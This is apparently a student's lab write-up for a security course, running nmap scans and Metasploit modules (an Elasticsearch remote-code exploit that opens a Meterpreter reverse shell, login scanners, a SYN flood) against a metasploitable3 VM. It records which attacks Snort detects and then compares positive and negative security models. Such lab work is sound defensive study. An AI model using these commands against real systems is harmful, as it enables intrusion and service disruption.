(This essay in a easier to read form and my Snort configuration can both be found in this repository: https://github.com/kealin/cybersec-mooc-project2).

# Own research

After setting up metasploitable3 and configuring Snort to it I fired up Metasploit. I initially opened with a basic port scan using nmap as follows:

nmap -v -sV 192.168.1.106 -oA subnet\_1

From the results I was able to figure out several open ports and services running on the metasploitable3 VM.

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

22/tcp open ssh OpenSSH 7.1 (protocol 2.0)

80/tcp open http Microsoft IIS httpd 7.5

3000/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.1 (2016-04-26))

4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)

s/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8080/tcp open http Sun GlassFish Open Source Edition 4.0

9200/tcp open http Elasticsearch REST API 1.1.1 (name: Tutinax the Mountain-Mover; Lucene 4.7)

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

With my configuration setup Snort was able to pick this port scan up as expected and identify it as what it was:

[\*\*] [122:5:1] (portscan) TCP Filtered Portscan [\*\*]

[Classification: Attempted Information Leak] [Priority: 2]

04/02-05:34:30.585280 192.168.1.105 -> 192.168.1.106

PROTO:255 TTL:42 TOS:0x0 ID:40719 IpLen:20 DgmLen:166

Now this scan was obviously targeted towards detecting services so just out of curiosity I also wanted to test the same scan on UDP ports. For this I ran the following nmap command:

nmap -v -sU 192.168.1.106 -oA subnet\_1

Once again Snort was able to successfully identify and specify this attempt:

[\*\*] [122:21:1] (portscan) UDP Filtered Portscan [\*\*]

[Classification: Attempted Information Leak] [Priority: 2]

04/02-05:36:03.276866 192.168.1.105 -> 192.168.1.106

PROTO:255 TTL:59 TOS:0x0 ID:10449 IpLen:20 DgmLen:166

After this I wanted to get started with detecting what exactly is running on the standard HTTP port (80). For this I decided to use an auxiliary called dir\_scanner that is located under http.

*use auxiliary/scanner/http/dir\_scanner  
set RPORT 80*

Naturally I also had to specify the target port as it was unset by default. This dir scanner was able to identify the service on :80 as something aspnet\_client related:

[\*] Detecting error code

[\*] Using code '404' as not found for 192.168.1.106

[\*] Found http://192.168.1.106:80/aspnet\_client/ 404 (192.168.1.106)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

It is worth mentioning that Snort didn’t have any idea of this dir scan attempt. I also found out in a similar fashion that on port 8022 some sort of API and servlet are running. The page on aspnet client returns 403 (forbidden) upon viewing.

At this point I wanted to figure out what I could attempt to exploit. For this I did some googling and stumbled upon several interesting vulnerability databases among which where exploit DB, Microsoft TechNet etc. I came to the conclusion that ElasticSearch 1.1.1 was indeed vulnerable and by running a search for ElastiSearch in the MSF console I was able to find an exploit called script\_mvel\_rce for this elasticsearch version.

exploit/multi/elasticsearch/script\_mvel\_rce

I proceeded to set the target host and port by RHOSTS and RPORT respectively using the target VM IP and 9200 where ElasticSearch was running according to the initial nmap scan. I then proceeded to run the exploit:

[\*] Started reverse TCP handler on 192.168.1.105:4444

[\*] Trying to execute arbitrary Java...

[\*] Discovering remote OS...

[+] Remote OS is 'Windows Server 2008 R2'

[\*] Discovering TEMP path

[+] TEMP path identified: 'C:\Windows\TEMP\'

[\*] Sending stage (49667 bytes) to 192.168.1.106

[\*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.106:49352) at 2017-04-02 20:17:35 +0300

[\*] 192.168.1.106 - Meterpreter session 1 closed. Reason: Died

[-] Exploit failed: No such file or directory @ unlink\_internal - tmp/prosvc.pid

[\*] Exploit completed, but no session was created.

I was able to instantiate a session but it died in milliseconds. I tried numerous times to empty the TMP folder from the .jar exploits and rebooting the VM etc. but the session always wound up dying eventually. It is worth noting once again that Snort had no idea of this going on down.

Next up I decided to try to get access to the tomcat administration using the tomcat\_administration auxiliary located under http. I also set it to use 5 threads and the port to the respective nmap detected port for Tomcat.

*use auxiliary/admin/http/tomcat\_administration*

*set THREADS 5*

*set RPORT 8022*

*exploit*

It turns out that this Tomcat isn’t running any of the default credentials and once again Snort is unaware of what’s going on.

I then proceed to try something with the wordpress service being run in port 8585, so I refer to MSF search and find something called wp\_w3\_total\_cache\_hash\_extract that is supposed to be able to extract credentials for the MySQL wordpress is using:

auxiliary/gather/wp\_w3\_total\_cache\_hash\_extract

set RHOSTS 192.168.1.106 set RPORT 8585

exploit

[-] No users found :(

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Now this auxiliary doesn’t return any interesting results either but this time at least Snort is aware of what’s going on, at least on some level:

[\*\*] [129:12:1] Consecutive TCP small segments exceeding threshold [\*\*]

[Classification: Potentially Bad Traffic] [Priority: 2]

04/02-10:46:29.277566 192.168.1.105:54395 -> 192.168.1.106:8022

TCP TTL:128 TOS:0x0 ID:30960 IpLen:20 DgmLen:41 DF

\*\*\*A\*\*\*\* Seq: 0x880EB8B2 Ack: 0xA2AA6CFE Win: 0x805 TcpLen: 20

Next I decided to attempt exploiting the glassfish service. I try the auxiliary glassfish login:

auxiliary/scanner/http/glassfish\_login

[\*] GLASSFISH - Checking if Glassfish requires a password...

[\*] GLASSFISH - Glassfish is protected with a password

[\*] Error: 192.168.1.106: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Glassfish)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Obviously, there’s something I’m missing here, but the options don’t show for an alternative to use for example a password checklist or something like that. Nevertheless, this attempt gets caught in Snort and throws the same log lines as the wp3\_total\_cache\_hash\_extract auxiliary.

Finally I decide to try and do some DOS with synflood:

*use auxiliary/dos/tcp/synflood*

*set NUM 100000*

*set RPORT 502*

*exploit*

*[\*] SYN flooding 192.168.1.106:502...*

*[\*] Auxiliary module execution completed*

I don’t know whether it’s the relatively small NUM parameter, or maybe just my Snort configurations but I’m actually VERY surprised to find out that Snort does not detect this DOS attempt at all.

# Summarization on topic

Personally, I think a combination of these two approaches would be best. Obviously once a vulnerability has been discovered and leaked into the online vulnerability databases it has to be patched asap. In reality I think it is usually easier to fix the vulnerability than to try to keep up with detection.

This is due to the fact that more often than not the vulnerability has to be discovered before detection can be prepared. One could argue that the flow should be done with some sort of whitelisted variables and restrictions so that only specific data would ever be allowed and everything else blocked by default. OWASP uses the term positive security model for this sort of whitelist based preventive security model.

It would obviously be nice to use and in theory detecting unknown attacks would be easy, but the extra work it would bring along just basically makes it easier for developers to prepare patches after vulnerabilities are detected rather than the other way around.

The other alternative that OWASP has presented is the so called negative security model that for instance Snort is about. There’s a set of rules for detection, priority etc. The pitfall of this approach is obviously the issue with detecting unknown attacks forehand and without doubt using a negative security model just straight up patching the vulnerability into the original eliminates the extra step of preparing detection for the vulnerability.

Arguably even if the application gets patched some sort of detection should be prepared for the exploit that has been prepared for the outdated version. Even if it would be good standard to always update everything with even minor vulnerabilities are discovered, I happen to know for a fact that this is not the case. Companies tend to stick to their working setups and wake up to changes when something bad happens.

In conclusion on the topic, the natural flow is as follows: first a vulnerability goes into the codebase, then someone discovers it, then it might get public and spread via vulnerability databases. Someone then proceeds to produce an exploit that abuses this said vulnerability and first then can these negative security model based setups like Snort be enhanced with rules to detect this exploit. It goes without saying that if the vulnerability is patched a lot of unnecessary steps can be avoided.

I still think there’s need for proper detection as well since people will eventually be careless and among hundreds of services on a server cluster there can easily be something that has accidentally got even a major vulnerability in its current version.